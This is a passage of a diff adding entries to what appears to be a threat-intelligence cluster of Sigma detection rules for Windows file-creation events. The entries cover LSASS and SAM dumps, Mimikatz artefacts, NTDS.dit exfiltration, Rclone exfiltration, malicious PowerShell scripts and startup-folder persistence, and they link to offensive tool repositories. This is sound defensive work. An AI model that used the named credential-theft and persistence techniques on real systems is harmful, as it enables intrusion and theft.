name that indicates that the dump file could be an LSASS process memory, which contains user credentials", + "uuid": "c3e76af5-4ce0-4a14-9c9a-25ceb8fda182", + "value": "WerFault LSASS Process Memory Dump", + "meta": { + "refs": [ + "https://github.com/helpsystems/nanodump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/06/27", + "filename": "file_event_win_lsass_werfault_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "A office file with macro is created from a commandline or a script", + "uuid": "b1c50487-1967-4315-a026-6491686d860e", + "value": "Dump Office Macro Files from Commandline", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", + "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_macro_file.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2022/01/23", + "filename": "file_event_win_macro_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "uuid": "0bcfabcb-7929-47f4-93d6-b33fb67d34d1", + "value": "Adwind RAT / JRAT", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2017/11/10", + "filename": "file_event_win_mal_adwind.yml", + "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Octopus Scanner Malware.", + "uuid": "805c55d9-31e6-4846-9878-c34c75054fe9", + "value": "Octopus Scanner Malware", + "meta": { + "refs": [ + "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml" + ], + "tags": [ + "attack.t1195", + "attack.t1195.001" + ], + "creation_date": "2020/06/09", + "filename": "file_event_win_mal_octopus_scanner.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Malware can use mountable Virtual Hard Disk .vhd file to encapsulate payloads and evade security controls", + "uuid": "8468111a-ef07-4654-903b-b863a80bbc95", + "value": "Suspicious VHD Image Download From Browser", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_vhd_download.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ], + "creation_date": "2021/10/25", + "filename": "file_event_win_mal_vhd_download.yml", + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "medium", + "falsepositive": [ + "Legitimate user creation" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of files that contain Kerberos tickets based on an extension used by the popular tool Mimikatz", + "uuid": "9e099d99-44c2-42b6-a6d8-54c3545cab29", + "value": "Mimikatz Kirbi File Creation", + "meta": { + "refs": [ + "https://cobalt.io/blog/kerberoast-attack-techniques", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_kirbi_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558" + ], + "creation_date": "2021/11/08", + "filename": "file_event_win_mimikatz_kirbi_file_creation.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Mimikatz MemSSP default log file creation", + "uuid": "034affe8-6170-11ec-844f-0f78aa0c4d66", + "value": "Mimikatz MemSSP Default Log File Creation", + "meta": { + "refs": [ + "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimimaktz_memssp_log_file.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2021/12/20", + "filename": "file_event_win_mimimaktz_memssp_log_file.yml", + "author": "David ANDRE", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", + "uuid": "a1507d71-0b60-44f6-b17c-bf53220fdd88", + "value": "Moriya Rootkit", + "meta": { + "refs": [ + "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_moriya_rootkit.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2021/05/06", + "filename": "file_event_win_moriya_rootkit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects msdt.exe creating files in suspicious directories", + "uuid": "318557a5-150c-4c8d-b70e-a9910e199857", + "value": "MSDT.exe Creates Files in Autorun Directory", + "meta": { + "refs": [ + "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_autorun.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "cve.2022.30190" + ], + "creation_date": "2022/08/24", + "filename": "file_event_win_msdt_autorun.yml", + "author": "Vadim Varganov, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", + "uuid": "d7b50671-d1ad-4871-aa60-5aa5b331fe04", + "value": "Creation Suspicious File In Uncommon AppData Folder", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/08/05", + "filename": "file_event_win_new_files_in_uncommon_appdata_folder.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "An attacker may execute an application as a .SCR File (Screensaver) using rundll32.exe desk.cpl,InstallScreenSaver", + "uuid": "c048f047-7e2a-4888-b302-55f509d4a91d", + "value": "SCR File Write Event", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Desk/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_src_file.yml" + ], + "tags": [ + "attack.t1218.011", + "attack.defense_evasion" + ], + "creation_date": "2022/04/27", + "filename": "file_event_win_new_src_file.yml", + "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "The installation of new screen savers." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", + "uuid": "54127bd4-f541-4ac3-afdb-ea073f63f692", + "value": "Persistence Via Notepad++ Plugins", + "meta": { + "refs": [ + "https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_notepad_plus_plus_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/06/10", + "filename": "file_event_win_notepad_plus_plus_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Possible FPs during first installation of Notepad++", + "Legitimate use of custom plugins to enhance notepad++ functionality by users" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious creations of a file named ntds.dit, e.g. by a PowerShell parent or in a suspicious directory or a suspicious one liner", + "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d", + "value": "Suspicious NTDS.DIT Creation", + "meta": { + "refs": [ + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://pentestlab.blog/tag/ntds-dit/", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/03/11", + "filename": "file_event_win_ntds_dit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious creations of files with names used in various tools that export the NTDS.DIT for exfiltration", + "uuid": "3a8da4e0-36c1-40d2-8b29-b3e890d5172a", + "value": "Suspicious NTDS Exfil Filename Patterns", + "meta": { + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb", + "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", + "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ], + "creation_date": "2022/03/11", + "filename": "file_event_win_ntds_exfil_tools.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects add-ins that load when Microsoft Word or Excel starts (.wll/.xll are simply .dll fit for Word or Excel).", + "uuid": "8e1cb247-6cf6-42fa-b440-3f27d57e9936", + "value": "Microsoft Office Add-In Loading", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.006" + ], + "creation_date": "2020/05/11", + "filename": "file_event_win_office_persistence.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Legitimate add-ins" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a macro file for Outlook.\nGoes with win_outlook_c2_registry_key. VbaProject.OTM is explicitly mentioned in T1137.\nParticularly interesting if both events Registry & File Creation happens at the same time.\n", + "uuid": "8c31f563-f9a7-450c-bfa8-35f8f32f1f61", + "value": "Outlook C2 Macro Creation", + "meta": { + "refs": [ + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_c2_macro_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.command_and_control", + "attack.t1137", + "attack.t1008", + "attack.t1546" + ], + "creation_date": "2021/04/05", + "filename": "file_event_win_outlook_c2_macro_creation.yml", + "author": "@ScoubiMtl", + "level": "medium", + "falsepositive": [ + "User genuinly creates a VB Macro for their email" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of new Outlook form which can contain malicious code", + "uuid": "c3edc6a5-d9d4-48d8-930e-aab518390917", + "value": "Outlook Form Installation", + "meta": { + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_newform.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.003" + ], + "creation_date": "2021/06/10", + "filename": "file_event_win_outlook_newform.yml", + "author": "Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes creating temp files related to PCRE.NET package", + "uuid": "6e90ae7a-7cd3-473f-a035-4ebb72d961da", + "value": "PCRE.NET Package Temp Files", + "meta": { + "refs": [ + "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://twitter.com/tifkin_/status/1321916444557365248", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/10/29", + "filename": "file_event_win_pcre_net_temp_file.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "uuid": "2bd63d53-84d4-4210-80ff-bf0658f1bf78", + "value": "Pingback Backdoor", + "meta": { + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ], + "creation_date": "2021/05/05", + "filename": "file_event_win_pingback_backdoor.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of known powershell scripts for exploitation", + "uuid": "f331aa1f-8c53-4fc3-b083-cc159bc971cb", + "value": "Malicious PowerShell Commandlet Names", + "meta": { + "refs": [ + "https://raw.githubusercontent.com/Neo23x0/sigma/f35c50049fa896dff91ff545cb199319172701e8/rules/windows/powershell/powershell_malicious_commandlets.yml", + "https://github.com/PowerShellMafia/PowerSploit", + "https://github.com/NetSPI/PowerUpSQL", + "https://github.com/CsEnox/EventViewer-UACBypass", + "https://github.com/AlsidOfficial/WSUSpendu/", + "https://github.com/nettitude/Invoke-PowerThIEf", + "https://github.com/S3cur3Th1sSh1t/WinPwn", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2018/04/07", + "filename": "file_event_win_powershell_exploit_scripts.yml", + "author": "Markus Neis, Nasreddine Bencherchali, Mustafa Kaan Demir", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to detect PowerShell writing startup shortcuts.\nThis procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.\nAccordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.\nIn the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"\n", + "uuid": "92fa78e7-4d39-45f1-91a3-8b23f3f1088d", + "value": "PowerShell Writing Startup Shortcuts", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2021/10/24", + "filename": "file_event_win_powershell_startup_shortcuts.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE", + "level": "high", + "falsepositive": [ + "Unknown", + "Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a dump file written by QuarksPwDump password dumper", + "uuid": "847def9e-924d-4e90-b7c4-5f581395a2b4", + "value": "QuarksPwDump Dump File", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_quarkspw_filedump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2018/02/10", + "filename": "file_event_win_quarkspw_filedump.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects Rclone config file being created", + "uuid": "34986307-b7f4-49be-92f3-e7a4d01ac5db", + "value": "Rclone Config File Creation", + "meta": { + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_exec_file.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2021/05/26", + "filename": "file_event_win_rclone_exec_file.yml", + "author": "Aaron Greetham (@beardofbinary) - NCC Group", + "level": "high", + "falsepositive": [ + "Legitimate Rclone usage (rare)" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "uuid": "130c9e58-28ac-4f83-8574-0a4cc913b97e", + "value": "RedMimicry Winnti Playbook Dropped File", + "meta": { + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2020/06/24", + "filename": "file_event_win_redmimicry_winnti_filedrop.yml", + "author": "Alexander Rausch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.", + "uuid": "a6976974-ea6f-4e97-818e-ea08625c52cb", + "value": "RipZip Attack on Startup Folder", + "meta": { + "refs": [ + "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml" + ], + "tags": [ + "attack.t1547", + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "file_event_win_ripzip_attack.yml", + "author": "Greg (rule)", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)", + "uuid": "4e87b8e2-2ee9-4b2a-a715-4727d297ece0", + "value": "SAM Dump File Creation", + "meta": { + "refs": [ + "https://github.com/search?q=CVE-2021-36934", + "https://github.com/cube0x0/CVE-2021-36934", + "https://www.google.com/search?q=%22reg.exe+save%22+sam", + "https://github.com/HuskyHacks/ShadowSteal", + "https://github.com/FireFart/hivenightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2022/02/11", + "filename": "file_event_win_sam_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Rare cases of administrative activity" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "fec96f39-988b-4586-b746-b93d59fd1922", + "value": "ScreenConnect Temporary Installation Artefact", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_screenconnect_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/13", + "filename": "file_event_win_screenconnect_artefact.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.", + "uuid": "c7a74c80-ba5a-486e-9974-ab9e682bc5e4", + "value": "Created Files by Office Applications", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_script_creation_by_office_using_file_ext.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.execution" + ], + "creation_date": "2021/08/23", + "filename": "file_event_win_script_creation_by_office_using_file_ext.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows executable that writes files to suspicious folders", + "uuid": "1277f594-a7d1-4f28-a2d3-73af5cbeab43", + "value": "Windows Shell File Write to Suspicious Folder", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml" + ], + "tags": "No established tags", + "creation_date": "2021/11/20", + "filename": "file_event_win_shell_write_susp_directory.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects windows executables that writes files with suspicious extensions", + "uuid": "b8fd0e93-ff58-4cbd-8f48-1c114e342e62", + "value": "Windows Binaries Write Suspicious Extensions", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml" + ], + "tags": "No established tags", + "creation_date": "2022/08/12", + "filename": "file_event_win_shell_write_susp_files_extensions.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.", + "uuid": "2aa0a6b4-a865-495b-ab51-c28249537b75", + "value": "Startup Folder File Write", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/12", + "https://threathunterplaybook.com/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2020/05/02", + "filename": "file_event_win_startup_folder_file_write.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "An FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of ADSI (LDAP) operations by tools. This may also detect tools like LDAPFragger.", + "uuid": "75bf09fa-1dd7-4d18-9af9-dd9e492562eb", + "value": "Suspicious ADSI-Cache Usage By Unknown Tool", + "meta": { + "refs": [ + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", + "https://github.com/fox-it/LDAPFragger", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml" + ], + "tags": [ + "attack.t1001.003", + "attack.command_and_control" + ], + "creation_date": "2019/03/24", + "filename": "file_event_win_susp_adsi_cache_usage.yml", + "author": "xknow @xknow_infosec, Tim Shelton", + "level": "high", + "falsepositive": [ + "Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc." + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.", + "uuid": "e4b63079-6198-405c-abd7-3fe8b0ce3263", + "value": "Suspicious CLR Logs Creation", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", + "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", + "https://github.com/olafhartong/sysmon-modular/blob/5e5f6d90819a7f35eec0aba08021d0d201bb9055/11_file_create/include_dotnet.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_clr_logs.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1218" + ], + "creation_date": "2020/10/12", + "filename": "file_event_win_susp_clr_logs.yml", + "author": "omkar72, oscd.community, Wojciech Lesicki", + "level": "high", + "falsepositive": [ + "Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\", + "uuid": "e15b518d-b4ce-4410-a9cd-501f23ce4a18", + "value": "Suspicious Creation with Colorcpl", + "meta": { + "refs": [ + "https://twitter.com/eral4m/status/1480468728324231172?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ], + "creation_date": "2022/01/21", + "filename": "file_event_win_susp_colorcpl.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)", + "uuid": "409f8a98-4496-4aaa-818a-c931c0a8b832", + "value": "Created Files by Microsoft Sync Center", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml" + ], + "tags": [ + "attack.t1055", + "attack.t1218", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2022/04/28", + "filename": "file_event_win_susp_creation_by_mobsync.yml", + "author": "elhoim", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "file_event", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder", + "uuid": "5f87308a-0a5b-4623-ae15-d8fa1809bc60", + "value": "Suspicious Files in Default GPO Folder", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml" + 